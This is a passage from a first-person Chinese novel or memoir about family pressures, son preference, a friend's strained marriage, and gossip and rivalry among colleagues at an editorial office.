我妈妈说:“那是恁二大娘劝说的。恁二大娘说的,大丫头不是那样的人。她这个人说话做事儿一是一二是二。她说到做到,不会不还的。” “天呢,我都到那种地步了,问恁借钱,你居然让俺弟弟不要借给我。还是俺二大娘劝恁借的。你还是俺妈妈呢,连个外人都不如。我是那种人吗?”我恼恨地说。我低下头去剥蒜,不想再跟我妈妈说话。 我妈妈说:“十万块钱,不是小事儿。你要是就是不还怎么办?鸿雁要是说媳妇,人家要钱,俺一把儿拿不出来。俺上哪弄去?手心手背都是肉。咱不是没钱吗?咱要是有钱的话,我把这十万块钱给你又怎么样呢。” “鸿雁不是没说媳妇吗?正好给我使一把儿。”我说。 “正好鸿雁没买房子,给你使一把儿,要是鸿雁买了房子了,就是想借给你也没有呢。”我妈妈说。 “我那时候也跟俺弟弟说的。我买房子他借钱给我,等他买房子说媳妇,我借钱给他。我甚至还能给他几万。鸿雁肯定也是考虑这个。后来我不是公积金一下来就还给他了吗?”我说。 “你还地真快,谁也没想到你能还得那么快。”我妈妈说。 “我本来就没骗恁。我说的都是实话,我当然能说到做到喽。”我说。 “别管怎么样,你买房子是喜事儿。俺也高兴。”我妈妈说。 “妈,等恁老了以后,恁就去我那儿,我给恁养老吧。”我说。 “你能给我养老啊?你能给我养老我也不去。等我老了,我种屋后头的一块地,就够我吃的。闺女不是儿,闺女有闺女婿。俺要是在闺女家,闺女跟闺女婿吵架了,俺上哪儿蹲啊?儿就不一样。儿跟儿媳妇吵架,再怎么吵?那是儿的家。”我妈妈说。我知道我妈妈又开始宣扬她那一套重男轻女的思想了,我低下头剥蒜,不想再跟她说话。 “人家都想养儿干嘛的?就是想老了有个热锅门子吃饭。养闺女什么用?你看俺姊妹几个,谁能给恁外姥爷外姥娘养老啊?恁外姥娘生了六个闺女,都四十多了,才生的恁小舅。人家到老了好吧?人家有儿!恁小舅拿着恁姥娘多孝顺啊。恁姥娘年纪大了,自己弄不动饭了。恁小舅下了班儿,就去给恁姥娘熬肉。要不就搁他上班儿的地方把肉熬好,给恁姥娘带过来。我行吧?我想孝顺,我出了门子了,我有那个时间吗?我自己一窝子小孩儿,自己都顾不了自己了。我哪还有功夫顾恁姥娘?” 我心里想着,那还不是俺姥娘把钱都供给俺小舅上学了?没供给几个闺女上学吗?可是我懒得跟她辩解。我知道她是根深蒂固的重男轻女了。我跟她辩解也是改变不了她的想法。我就不吭声儿任由她说去。 “这回恁外姥爷生病,怎么住院,怎么治疗,不都得听恁小舅的?俺姊妹几个谁能拿个主意啊?人家医生也是跟恁小舅说,人家医生也得问问恁小舅的意见。等恁外姥爷死了,送殡,摔老盆,还得是恁小舅。俺姊妹六个,都是女的,什么用哎。老俗语都说的,打虎亲兄弟,上阵父子兵。人家怎么没说打虎亲姐妹,上阵父女兵的?” 我妈妈剥着,说着。说着,剥着。她手里的蒜像是一个烤山芋,她不是在剥蒜,而是在剥山芋皮。一坨大蒜在我的手心里左右翻滚,这一坨刚投入我的掌心,很快又被我抛弃,再拿起另一坨。而我妈妈,她的嘴里激烈地说着,手里像是撕山芋皮一样,慢吞吞地说着,剥着。她说的话题跟十几年前说的话题一模一样。她这十几年以来说的话题一模一样。我都听烂了听烦了,可是她每次说起来,自己都觉得格外新鲜。她津津乐道地说着,不厌其烦地讲解着。我本来沉静的心情变得烦躁苦闷,本来还可以忍受的无止境的剥蒜变得更加枯燥。 我痛苦地低下了头。她以为我是听得入了迷,她拿着她那坨剥不完的大蒜更加投入地评说着。她说地神采奕奕,心生欢喜。她对着我的耳朵说,冲着我的头皮说,对着我的额头说。说话变成了她的一种快乐。她似乎永远也说不累。她说着那些陈谷子烂芝麻的话题,越说越想说,越说越来劲。她像一个沉迷于讲课的老师,对着她听话的小学生。她沉醉地讲着,我心里的烦躁一点点地升级,我要吐血了要暴躁了。可是不知道是出于礼貌,还是出于懒惰,我还是低头坚持着,忍着。我妈妈手里拿着一坨蒜,还在夸夸其谈地说着。她名为剥蒜,实为讲演。她严重影响了我剥蒜的进程,还以为给我枯燥的剥蒜生活加入了新鲜的调料。 我实在忍受不了了,我就跟她说:”妈妈,你别说了。这些你都说过多少回了。我头都要炸了!” “不说了!”她说。她把手里的蒜一放,又去干别的去了。 5.程云的娘家 我再去程云家里的时候,程云的妈妈从河南来了。这是个枯瘦的老太婆,瘦的满脸都是囊褶子了。一张长长的脸,看起来有些可怕。 “这是我妈!”程云笑着说,“朱江高考结束了,我们去贵州旅游,把我妈也带上。” 我说:“阿姨好!阿姨的脸型看起来像是朱江。” 程云一听就笑了,跟她妈妈说:“你说朱江丑,现在人家说长得像你!” 我问程云:“你们去贵州怎么去啊?” 程云说:“坐飞机。” “我这辈子火车、轮船都坐过,就是没坐过灰机!这回要跟着她们一起去坐坐灰机!”阿姨说。 程云家里那天包饺子,阿姨剁了很多韭菜,把韭菜炒熟了,我们一起包。包地并不好看,包了大大小小一堆的饺子。韭菜饺子应该用生韭菜啊,可是老朱姐夫要用炒过的韭菜,我也不说什么。 中午吃饺子的时候,老朱姐夫跟老太太说:“你拌的韭菜馅子不香,下午再改进一下。饺子馅子里还放了辣椒!哪有饺子馅子放辣椒的!” 阿姨有些不好意思。 程云也不吭声。只招呼她妈:“妈,你去把垃圾倒了。” 阿姨答应一声就去了。 阿姨作为老岳母,七十多了,难得来一回,本应该受到女婿一家的礼遇的。没想到被呼来喝去,一点没有女“泰山”的尊严。要是我的丈夫这样对待我的母亲,我肯定不愿意。但是程云好像没什么感觉,一切好像都习惯了。 “我妈拎不清了。老头子要去,我没让去。我妈妈还觉得,如果我让老头子去,是给她面子。”程云说。 “是的,老头子去的话,你要多花几千块钱呢。你又没靠他养过一天。阿姨还在他家当牛做马呢。”我说。 饭后,老朱姐夫去钓鱼,程云去她办公室了。剩下我跟阿姨在家。阿姨因为老朱姐夫对饺子馅子不满意,就抄起大油壶,往盛馅子的盆子里倒了好多油。 阿姨说:“老朱嫌不香,我多放点油。这回该香了吧。” 我说:“阿姨,你几个孩子啊?” “我就程云一个闺女。” “啊?程云姐是独生女啊。怪不得她活地那么娇嫩。” “不是的。她前头有一个姐姐,一个哥哥。都没长久。只剩下她了。” “我的天!那两个孩子,都是多大离开的啊?” “都十几了。一个被电灯电死了,一个在河里被淹死了。”阿姨说。 “妈呀,这可让您怎么活啊!”怪不得阿姨满脸的皱纹。 “是的,我被打击地脑子不好使了。”阿姨说,“他在那里喊‘妈妈’,等我过去一看,他就被电死了。” “好可怜啊!” “都是命,没办法!”阿姨说。几十年过去了。谈起这些伤怀的往事,阿姨已经是风平浪静了。 “我老伴儿死地早,只有程云一个闺女,我后来就找了现在的老伴,他有一个儿子。我当时觉得,人家都有儿子,我找了一个带儿子的,我也有儿子了。” “阿姨,你当时真是不如不找了。找了反而更辛苦!” “是的。之前是儿媳妇生病卧床,全是我伺候。现在又伺候儿子、孙子。”阿姨说。 “你这辈子,都为他家奉献了。程云都没得到你那么多照顾。” “是的,她当时都出嫁了。”阿姨说。 “按照有些人的想法,女儿都出嫁了。自己才不会找个老头子来伺候呢。”我说。 “是的,我当时不知道是怎么想的。”阿姨说。 “阿姨当时大概是太孤单了吧。”我说,“人都是一时一个想法。” 我看到阿姨脖子上戴着一条金项链,就问她:“阿姨,这是程云姐给你买的吗?” “不是的,老头子买的。他让我跟他儿子说,就说是程云买的,要不,他儿子不高兴。”阿姨说。 “你为他家辛苦了一辈子,就得了这点回报。他儿子还不高兴呢?程云说你老伴做点小生意,他挣的钱给你吗?”我问阿姨。 “他的钱不入我的手哦,都给了他儿子、孙子。”阿姨说,“所以我就买那些保健品。” “我听程云说过,你就爱买那些保健品。家里堆了很多。你后老伴儿的儿子还打电话跟程云告状。程云也管不了你。”我说。 “我那都是故意买的。我就是想花钱。我不花点钱我觉得我对不住我自己。”阿姨说。 “哦,原来是这样。”我说。 秋天的一个下午,程云打来电话。我出去接她的电话。外面草地上,红色的、黄色的树叶落了一地。 程云说:“我想回河南老家,你姐夫不让我回去,你帮我个忙吧。” 我说:“好的,我怎么帮你啊。” 程云说:“我就说我跟你去你老家玩了,你到时候配合我发个微信就行了。” 我说:“姐夫不会来我家看啊,他要是看见我,没有看见你,那怎么办?他要是问你要咱俩的视频怎么办?那不是露馅儿了?姐夫要是知道我跟你一起骗他,那他以后就不让我去你家玩了。” 程云说:“没事的,他不会管的。” 我说:“我还是很害怕,姐夫的脾气你可是知道的,他要是发起火来,那可不得了。” 程云说:“没事的。” 我说:“他要是跟你视频怎么办?” 她说:“他不会管我的。我也不跟他视频。” 我说:“夫妻之间撒谎不好。伤感情的。姐夫既然不放心,他怎么不陪你一起去?” 程云说:“他以前去过一次,后来不愿意去了,他嫌我娘家亲戚脏。人家跟他握手,他不伸手,人家拿香蕉给他吃,他也不吃,也不接过来。我们北方人,你知道的,对人热情。你姐夫这样,搞得我很尴尬。” 我说:“这个小老头儿怎么能这样。这个是外交礼节,人家有的人去少数民族那里,那些藏民端给他一碗黑乎乎的东西,人家端过来就喝。这个是对人家的尊重。” 程云说:“是的呀,你知道咱们老家人都热情,见了他,人家两个手握着他的手,他还嫌弃人家。” 我说:“他又不是小年轻的,一个小老头儿怎么这么讲究。你总不能不回娘家吧,阿姨年纪那么大了,见一面少一面了。他不去也好。那你自己去。” 她说:“他不去,他也不让我去。因为有洋洋在那里,他怕我给洋洋钱。” “我的天呢,姐夫怎么能这样。你能给洋洋多少钱啊?再说了,洋洋那么可怜,他还应该给钱呢。你不是帮他养活他闺女吗?他自己的闺女养在身边,却受不了你跟你的儿子见面。这是怎么回事?你们母女,他不让见。你们母子,他也不让见。这也太狠了,太不凭良心了。这个不合理啊。”我说。 “是的啊。他就是这样,不讲理。所以,我没办法,你知道吧。我都是忍着他。所以,我就说,不要离婚。离婚了总归不如之前的好。”程云说。 我问她:“你这次回老家,是有什么事吗?” 程云说:“我这次回家想去看看小洋,他说他谈了女朋友了。我想去看看。” 我说:“这个确实不能告诉姐夫,他要是知道肯定不会让你去。” 程云说:“所以你知道吧,我只能骗他。我就说我跟你回老家玩了。” 我说:“其实这么多年过去了,你前夫也结婚了,你就是回老家,姐夫也没什么好担心的。” 程云说:“是的啊。可是你姐夫这个人,小心眼儿。他就是不同意我回去。” 我说:“我跟你一起骗姐夫,把姐夫惹恼了,他杀过来怎么办。” 程云笑了:“你放心,不会连累你。” 我说:“那好吧。你回娘家,你的钱够吗,不够的话随时告诉我。” 程云说:“钱够了。回头你就给我发个信息,就说,咱俩约好了,明天早上的高铁。高铁南站,不见不散。我把现成的信息发给你,你照着发就行。” 我说:“那好吧。我是没有时间,我要是有时间,我还真愿意跟你一起回老家呢,全当旅游了。” 程云说:“你去吧?跟我一起回河南。这样你姐夫就一点事儿都没有了。” 我说:“你看我哪有时间。” 我心里想,我真的是没有时间。我连回自己的娘家都没有时间,我要是真的有时间,还不如回自己的娘家看望自己的老妈呢?我还跟她一起去看她老妈呢? 到了晚上,程云发信息过来了:“明天七点高铁南站,不见不散。”然后我就照着把她编辑好的信息发给她:“明天七点高铁南站,不见不散。” 信息发过去了,程云很满意。姐夫也没追究她什么。 当天晚上,我给程云发了信息:“到哪了?” 程云说:“到了镇上了,请小洋吃了饭。” 我说:“好的。小洋的女朋友呢?” “早就散了!”程云说,“小洋不争气,没个正经工作,谁跟他啊。” 我跟她开玩笑说:“那你把他介绍给我呗。我现在不是正在找老公吗,我现在就只图好看,不图钱。” 程云说:“那也得差不多才行啊。你什么学历,他什么学历。你赚多少钱,他连个正经工作都没有。介绍给你,不是害你吗。” 第二天,我又问程云:“你现在在哪呢?” 她说:“我在小洋奶奶家。小洋爷爷去世了。” 我说:“噢,那你出去见客吗?” 程云说:“我就在屋里,不出去。” 我说:“也是的,你跟他家儿子离婚了,人家也娶了老婆,这个场合你出去不合适。” 程云说:“是的。” 接着,她给我发了一个视频。视频里,一个老太太把几碗饭菜摆在了桌子上。 我说:“视频里那个老太太是你前婆婆吗?” 程云说:“是的。” 我说:“你前婆婆对你蛮好的,还给你烧饭。她以前不是恨你恨地要死吗?” 程云说:“这么多年过去了,我每次回去都给她钱,我也感谢她给我带孩子,这次就给了两千。” 视频里,程云的前婆婆也是平平静静的。 是的,这么多年过去了,恨得牙根儿痒痒的前婆媳也跑成亲戚了。 33. 清灵、郝跃 1.清灵 离婚以后,我没有跟小坛的人说什么,也不想说什么。那些八卦的八爪鱼把它们充满好奇心的带着腥味儿的喇叭状的触脚伸向我的时候,我是闻风而动,闭嘴不谈的。越是有八爪鱼靠近,我越是不想说话。那些内心没有八只爪的触脚的人,我在她们的身上闻不到八卦的腥味儿,我反而会跟她们说两句。 我很幸运,那一年,能跟清灵一个办公室。 那时候的办公室,只有几个年龄相仿的八零后,位分差距还不是很明显。大家有说有笑,气氛好地像是自家兄弟。清灵高兴的时候,又唱又跳。 他有时候就站在办公室里唱歌:“红岩上红梅开,千里冰霜脚下踩。三九严寒何所惧,一片丹心向阳开!向阳开——” “天生丽质难自弃!天生丽质难自弃!” 他唱着,又学着小天鹅舞蹈几下。他个子很高,做起小天鹅的动作来,像个刚毕业的大学生,又像个傻拉呱唧的小兄弟。 “啊?我的头发怎么像拖把一样,过几年就要脱发了吧。我看那些地中海一开始都是大森林,说脱光就脱光了。”他说。 小潘说:“你着什么急啊,你想要地中海,还得等几年呢。” “啊?我好焦虑啊。等我脱发的时候是什么样子啊?”清灵穿着一件黑色的夹克衫,里面是橙黄色的毛里子,像是一张老虎皮。他的裤腿儿撸上去,露出满腿的黑毛。 我说:“你看你的腿啊,像是烧焦了一样。” 清灵笑着说:“那有什么办法啊。就长成这样儿。人本来就是猿猴儿进化的嘛。” 小潘小声儿地跟大家说:“听说,局长郑月白被抓了。” “真的?”吴悠悠赶紧转过头去,“是为什么啊?” “这还要问啊,肯定是贪污呗。”清灵说。 “天呐!我们来《小坛》的时候就是他给我们培训的。”我说,“那时候,他的发言多么慷慨激昂啊。什么‘有才无德就是文化流氓’,什么‘德不配位,必有灾殃。’” “那时候,你是不是还挺崇拜他的啊?”清灵笑着说。 “那当然啦。他说的那么义正辞严,我还真以为他是个道德模范呢。”我说。 “谁想到他居然是个贪污犯。”清灵笑着说,“男神的形象破灭了吧?” “听说人事科科长梅宝兰跟他有染。郑月白这次出事儿就是梅宝兰她老公告的。”潘编辑说。 “梅宝兰她老公是干什么的?”吴悠悠问。 “也在郑月白旗下,跟梅宝兰在不同的科室。”小潘说。 “天呐,两个人就在她老公的眼皮子底下搞起来了?胆子真大。”吴悠悠说。 “有些女的很会利用自身的资源。她只要裤腰带一松,就可以得到她想要的东西。”清灵说。 “你这话说的,对我们女性不太尊重哈。”小潘说。 “我又没说你们。”清灵说。 “我们来青提的时候,交材料、体检,都是梅科长一手操办的。她很严肃的,没看出来她是那种人啊。”我说。 “你太单纯了。人家那点事儿会让你看出来。”清灵说。 “哦。”我又不说话了。跟他们比,我总是知之甚少。我确实什么都不知道,我只好保持沉默。 “郑局长被抓了,梅科长是怎么处理的?”吴悠悠说。 “梅科长现在不当科长了,她还是在原单位继续上班。”小潘说。 “那她老公得跟她离婚了?”吴悠悠说。 “据说她们没有离婚。”小潘说。 “天呐!”吴悠悠说,“看人家这感情,杠杠的!” “这点事儿在人家那儿根本就不算事儿。”清灵说,“上次我坐公交车还看到梅宝兰了呢。我还跟她打招呼呢。她状态很好啊。你不说我都不知道她出了这档子事儿。” “人家也是这么想的。她也以为大家都不知道呢。”小潘说。 “厉害了,社会我梅姐!”清灵说。 “听说郑招惹地女的还不止这一个。他跟好几个女的都有染。有一次,郑带着一个单位去搞团建。本来是可以当天就回来的,郑为了跟一个有夫之妇共度春宵,让她们全单位的人陪着他们在那里住了一夜。” 小潘说。 “那女的也被他提拔喽。”吴悠悠说。 “那当然,听说那女的很漂亮。”小潘说。 “这次郑全给供出来了?”清灵说。 “全供出来了。”小潘说。 “造孽啊!又得有多少家庭濒临破碎啊。”清灵说。 “拔出萝卜带出泥。”小潘说,“只要是跟他有不正当关系的,郑全给供出来了。” “这些女的其实也蛮可怜的。但凡有点姿色,只要是被郑给看上了,想跑都跑不了。想不被提拔都难。”清灵说。 “是的,都在青提区编辑系统混,谁能逃得了他的手掌心。”吴悠悠说。 “郑也来过《小坛》好几次,幸好我出去开会去了。没有参加接待工作。”小潘说。 “那是!你这样的大美女要是被郑月白给盯上了。那就是羊入虎口了。”清灵说。 “咦!太可怕了!”小潘边收拾桌案,边哆嗦着做出一个鬼脸儿说。 “你说他是怎么做到的?明明自己最没有道德,最没有底限,还能拿道德来规训别人,还能把仁义道德说地言之凿凿,头头是道。他要是不出事儿,谁知道啊,我们还蒙在鼓里呢。”我说。 “这就是典型的满口的仁义道德,一肚子男盗女娼。”清灵说,“也就骗骗你这样的职场小白。真正了解他的人心里都明白。他骗不了别人。” 办公室没人儿的时候,清灵跟我说:“你的事儿,《小坛》的人都知道了。我上次坐公交车,一个女的向我打听你,我说‘人家的事,我怎么知道。’” 我说:“我知道。她们肯定会议论。她们还说我流产了呢。我前夫要是有那个本事就好了。我流产流的她外公啊!” “离婚也不是什么坏事儿。你现在变好了。你涅槃了。对你来说,反而是件好事儿。”他说。 “离婚这件事儿,放在社会上本没有事儿,可是在同事的眼里,那就成了事儿。那些事儿,你早就放下了。可是她们不愿意放下,她们会帮你记得牢牢的。她们就是想让你戴着这顶帽子,痛苦不堪地过一辈子。这样,她们的目的也就达到了。”我说。 “是的。离婚给你带来的痛苦可能不在于离婚本身,而是离婚以后,同事,单位,那些别有用心的人,对你的另眼相看。”清灵说。 “如果说离婚只是摔了一跤。离婚后的二次伤害,就是那些同事打着关心你的旗号,把你翻来覆去地提起来,浇上油,按在火上烤。你能不能熬得住,那要看你的骨头够不够硬,看你的内心够不够坚强。”我说。 “你是招黑体质,你也该买个苍蝇拍子拍拍。”清灵说。 “买了苍蝇拍子又有什么用。”我说,“我自身有疤痕,即使结了疤,自己都忘了疼,人家还是会友好地帮你记一辈子。那些苍蝇,遇见有缝的蛋,可得儿拼命钻。” “你那阵子,可是上了《小坛》的头条,成了《小坛》的时事热点了。”清灵笑着说。 “那是。我又给他们制造了新一轮的舆论风波和八卦资源。”我说。 “没事儿,你自己想开点,就当是谈了一次恋爱。”清灵跟我说。这个看起来没头没脑的年轻的家伙倒是想地开。 “这次不是评优秀嘛,我跟阿杨说,你去年一个人挑了两个人的担子,蛮辛苦的。应该给你一个优秀,阿杨说不行。”清灵说。 我说:“谢谢你为我说话。我也不奢望什么优秀,我现在不求有功,但求无过。” 他说:“你去年参加的是稿三阶段,你一个人挑了两个人的担子,你怎么不能得优秀。” 我说:“去年,一个人挑两个人的担子的有好几个,也不只是我。而且,我挑的担子都是没人挑的烂担子,出不了什么成果。最后论功行赏,自然也显不着我。你看,你都知道为我说话,我还没在阿杨跟前为你说话呢。你不是也一样辛苦吗?” 清灵说:“其实,得不得优秀也没什么说法。也就是比别人多六百块钱的奖金。去年,王成还得了优秀呢,后来说把他弄走,就把他弄走了。” 我说:“啊?得了优秀还是会被弄走?” 清灵说:“嗯,你以为呢?什么还不是领导一句话的事儿。” 我说:“一封朝奏九重天,夕贬潮州路八千。社长的铁血手腕我们真是看不懂。” “社长没点儿手腕还当什么社长。”清灵说,“像他们夫妻档的,地位还稳固一点。像我们这样孤军奋战的,社长想打你的主意可就容易多了。” “我没觉得他们夫妻档的就有多好啊。我还不羡慕他们呢。”我说。 “其实,两个编辑在一起也蛮好的。”他转过头儿来,静静地看着我说。 我觉得他有点看我表态的意思。我一时不知道该怎么回答。我觉得我们并不合适。是的。两个人在同一个单位,要是闹崩了,还是会在同一个单位里。太尴尬了。何况,我还是二婚呢。我有种种的担心和害怕。再说了,一个男人真的想追一个女人,是要下一番功夫的。感情的事,不是三言两语就可以搞定的,这也太没有仪式感了。再说了,他前期也没有对我有多好啊?就凭他一句话,我就表态了?这也太突然太草率了。 “清灵,我谈恋爱了。”我赶紧说。 “什么时候?”他问。 “前不久。”我说。 “哦。”他有些愕然地抬着头,像在想着什么,不说话。 看着他瞬间失神的样子,我有些得意了。清灵是不是也觉得我唾手可得呢?凭什么就以为我离婚了就没人要了呢? 但他也没有太大的惊动。是的,我觉得,他毕竟没有付出多少感情。这也是我没有表态的原因。 “过阵子,那个老妇女要回来了,你要小心点儿。”他叮嘱我说。 “嗯,我知道。” “人家家世好,有人疼,生地起病。你家世不好,没人疼,所以老天保佑你,不让你生病。”清灵说。 他嘴里的“老妇女”是郝跃,她的年龄其实跟我差不多大,因为生孩子,回家休假了。以前她单身的时候,也是受了不少闲言碎语。她现在终于嫁作他人妇了,这下,她成了光荣的已婚人士,她终于摆脱了那些人的眼神和调侃,可谓春风得意了。 “你的头像怎么是柳如是啊?”他问我。 “我就一时喜欢。就搞成她了。”我笑着说。 “你换掉吧。柳如是是烟花。我们都是清清白白的好人。那个头像不适合你。”他跟我说。 “好的。”我说。 吴悠悠进来了,她屁股后头跟着一个黑黢黢的男孩子,小男孩儿“嘣嘣”地拍着球,她的妈妈慈爱地看着他。 猛地,她抬起头,问清灵道:“你羡慕吗?” 我的心跟着“咯噔”了一下,看起来比较学院派的吴悠悠其实内心深处,也只是一个俗流。在一个尚未婚配的单身男人面前,她为她通过科技手段获得的孩儿沾沾自喜了。她认为清灵对她的黑黢黢的孩儿应该是羡慕的,她沾沾自喜的样子太肤浅太低级了。既然,她觉得清灵应该羡慕她,那么,我,作为一个离异无孩的女人,就更应该是羡慕的了。 “我不羡慕!” 清灵说。 清灵的回答干脆爽快,他真敢说。换做是我,我还真的不知道该怎么回答她。我是该回答“羡慕”还是“不羡慕”呢?说实话,对于一个可爱的小孩儿本身,我还真是羡慕的,但是,我不羡慕她的黑黢黢的小孩儿。 同时,我又想,清灵的回答也是真的,那个小孩儿皮肤有些黝黑,清灵也应该不喜欢黑色的小孩儿。 “这个小孩儿还是很可爱的,心性也确实比较忠厚。有的小孩儿,进化地太快了。不像是一个小孩儿该有的样子。现在的小孩子,进到了办公室,谁官高一品,谁是一介草民,谁可亲、谁讨厌,她都清清楚楚。”清灵说。 “嗯。我明白你的意思。但这也不是坏事。证明人类的智商在前进。”我说。 从此以后,对于这个沾沾自喜的吴悠悠,我也改变了看法。我越发觉得她黄瘦伶仃的骨架,使她看上去像是一个雨中的鸡子了。 但我依然会赞美她。 “悠悠今天穿地黄色的毛衣很好看。”我说,“你平时穿地很素,今天难得穿件亮色的。蛮好看的。” “是嘛?”她得意地说,“谢谢!”她的被黄色毛衣衬托地更加黧黑的脸上登时笑靥如花了。 她还是很单纯的,所以才能耿直地说出“羡慕”不“羡慕”的话。 赞美是很廉价的,不要轻易相信别人的赞美。别人比你更清楚你的缺点。包括你自己并不以为是缺点的缺点。但是出于善意,我还是很愿意赞美别人。赞美总比诋毁要好地多吧,至少能让人获得片刻的欢心。即使是违心的赞美,至少其中有一部分是真的,比如,吴悠悠穿的那件黄色的毛衣,确实比她平日里穿地灰不溜秋的衣裳好看。但是其中有一部分又不是真的,比如,其实你觉得,吴悠悠即使穿了件亮色的衣裳也并不好看。 2.郝跃 一大早,郝跃进来了:“哎呀,老太太非要给宝宝穿加绒的衣服,我说不要穿,小孩子爱出汗。她非要给她穿!” “你既然让她给你带孩子,你就放手让她带呗。你就不要插手了。”吴悠悠说。 “我怎么可能不插手呢。她早上喂她吃粥的时候还给她吃肉松,喝一口粥,喂一勺肉松。喝一口粥,喂一勺肉松。边喂边说,‘你看我们吃地多好!’”郝跃说。 “哎呀,她也是为了小孩子多喝点粥,她想喂就喂呗。”小潘说。 “我不是害怕吗?我的身体就是不能多吃盐,所以我害怕多给小孩子吃盐啊。”郝跃说。 “你太焦虑了。”吴悠悠说。 “我能不焦虑嘛。小孩子都开始便秘了,她拉屎不顺畅,拉地跟小羊屎蛋儿似的,一个儿一个儿的。”郝跃说。 “你买点儿益生菌给她冲了喝喝。”小潘说。 “老太太带孩子我是一点都不放心,可是没有办法。她还嫌累,嫌我父母不来给我带。她累了就给我脸子看。”郝跃说。 “那你就让你父母来带几天呗。”小潘说。 “我不是还有哥哥嫂子嘛。我爸妈不敢来,怕我嫂子生气。胖子也不替我说话,他都是站在他父母那边。我不是身体不好嘛,我夜里不能带,都是他妈妈带。他就觉得他妈妈特别辛苦。”郝跃说。 “你婆婆太能干了。人家是退休的,工作又好。所以你老公还是很崇拜他妈妈的。”小潘说。 “她能干,但是也特别强势。我有时候都怕她。”郝跃说。 “能干的人自然强势。这个很正常。”小潘说。 “我为什么身体不好,不能带孩子,还不是她害的。我坐月子那会儿,她为了她自己方便,非让我去市里住。她们市里的房子年代久了,那么多霉菌、螨虫,我有鼻炎,不用除螨仪,根本睡不好觉。最后把身体搞垮了。月子之仇,不共戴天。谁经历了谁知道。我都要被她害得产后抑郁了。” 郝跃说。 我打开了一篇文章,作者在评论李白的《将进酒》。我看着那些文字,郝跃的话还是在我的脑门儿上鼓荡。 “生完孩子,我们天天吵架,吵地邻居都听到了。唉!我都想跟胖子离婚了。我有时候真地蛮羡慕人家离婚的。你说这样天天吵,还过什么过。”郝跃说。 “离婚是不可能的。你们都有孩子了。我们那时候孩子小,也是矛盾很多。孩子小的时候闹离婚的多着呢,很多人抱着孩子到了民政局门口儿又回来了。等孩子大了就好了,都是这样过来的。”小潘说。 “来来来!给你们看看我家的小奶狗儿!”郝跃说着,掏出了她的手机,捧着给办公室里的女人一个个地过目,“脾气可大了,跟小狼儿似的!” 我没有凑过去。郝跃凑过来了:“来!也给你看看!” 我说:“嗯,孩子真可爱!” 我说完,继续敲我的电脑。 “大省在敲什么呀?”郝跃说,“搞得我心里慌慌的。” 我说:“在审稿子的。” 郝跃说:“我的那些稿件还没来得及审呢。唉!一点时间都没有!” 吴悠悠说:“我发现郝跃说话就是言不由衷。你一大早来了什么都没干,你就说你没时间。” “我白天根本没心情干,我都是等下班了,你们都走了,我再一个人留下来加班。”郝跃说。 “你看你把自己消耗地太厉害了。你应该在上班的时候集中精力把该做的事情忙完。你看大省,她一直都在忙自己的事情。白天把事情忙好了,一下班就走,根本不用加班。”吴悠悠说。 “我哪能跟人家比。人家又没有孩子,人家过得多轻松啊。”郝跃说。 “这不是有孩子没孩子的问题。”小潘说,“是分清轻重缓急的问题。” “我也知道轻重缓急,可是我不能不要孩子啊。我有孩子啊。”郝跃说。 “可是,你这样天天在办公室里说孩子的事,也没有解决任何问题啊。你在办公室的时候,不去忙你的工作,你下班了再忙,还是不能好好照顾孩子啊。”吴悠悠说。 “我白天根本就搞不完,我只好下班了再去加班。再说,我又没有耽误我的工作,我最后不也是完成了吗。”郝跃说。 “你是完成了。”小潘说,“可是你是以牺牲自己的时间为代价的啊。你要是白天就忙完了,晚上不就可以早点儿回家了吗?你老是这样耗,你的身体不是更吃不消了吗?你看大省,她白天就沉下心来干活儿。她睡眠也好,皮肤也总是很光滑。” “我哪能跟人家比。人家又没有孩子。”郝跃说,“我有孩子啊。” “你也不要老是拿孩子说事儿。我真不觉得有孩子是多么值得炫耀的事儿。我觉得女人生孩子就是对自己的惩罚。生过孩子的都知道,生孩子的经历太痛苦了,一点尊严都没有。” 小潘说。 “喂!你好!哦,我不需要!嗯。”郝跃说。估计她是接了什么推销的电话。 “嗯,我之前从朋友那里听说过这项服务。但是我的月消费达不到那么高。我们家的电视什么的绑定的是我老公的手机,我家的网络电视都是他付费的。我们平时带着孩子也不怎么看电视。嗯。”郝跃说。 “而且,我的手机每个月的流量也够用。我出去都是用的自己的流量,我流量看电视浏览新闻,根本用不完。我们结婚的时候,我老公给我们全家办的亲情号。我们之间打电话也根本不用钱。老人啊?老人也不怎么用流量。爷爷在家里看他的电视,他眼睛老花了,也不怎么用手机,我们有事儿都是打个电话。奶奶除了带孩子就是打麻将,也不怎么玩手机。因为她爱打麻将,我们天天吵架。” 估计那边的销售也跟她产生了强烈的共鸣。 郝跃的语气也高起来了:“就是的,你说一个老人家不好好带孩子,天天跑去打什么麻将的。我最讨厌打麻将了。不良嗜好,对小孩子影响也不好。你说那些开棋牌室的,真是破坏人家的家庭和睦的罪魁祸首。我婆婆还说是我破坏家庭和睦。” “可是他们全家都向着老太太,都说老太太带孩子辛苦,她去打麻将就由着她。可是她一去打麻将就不能带孩子啊。所以,我不喜欢啊。”郝跃说。 “嗯,好!好!不好意思啊。我不办。”郝跃终于放下了手机。 “郝跃,你看你,跟人家推销的都能聊这么多!”吴编辑说,“我们审了好多稿子了。大省都快审完了吧。” “我哪能跟人家大省比,我是宝妈,人家是黄金单身汉!”郝跃说着又打着手机出去了,“喂!” 不一会儿,杨编辑抱着一堆稿件进来了:“来!大家来把这些稿件分分!孙部长说,最好尽快审完!” 我赶紧凑过去,跟她们一起分那些稿件。 “分门别类地分分吧!”杨编辑说,“先放在桌上。来!这儿是文言文。这儿是现代文。这儿是西方文学。” “好的,妞妞!”小潘说。 “行!都按你的懿旨做!”吴悠悠说。 “哈!你这话说的,把我当皇后了。”杨编辑说。 “现在你跟老聂都是我们的顶头上司。一个是皇帝,一个是皇后。”小潘说。 “哈!我是皇后,那你们都是妃子!”杨编辑说。 “我不是妃子,我会有自己的皇帝的。”我说。 “应该说,你就是皇帝!”吴悠悠说。 我们分着那些稿件,郝跃打着手机进来了:“嗯,你跟你妈妈说说,不要老是说我父母不来!也不要老是出去打麻将,把孩子交给别人带。孩子跟着她,天天吃百家饭!”郝跃说着放下了手机。 “哎呀,烦死了!老太太一大早就跟我吵架。吵地鸡飞狗跳的。我得来找找我的社保卡,我过几天还得去医院呢。”郝跃说着,掏了掏她的包,又出去了。 杨编辑回到她自己的办公室了。她在群里说:“大家赶紧审稿件,孙部长说,今天争取审完。” 郝跃回复说:“我怕我审不完了,我现在还没开始呢。” “那你能审多少审多少吧,剩下的我跟大省审。”杨编辑说。 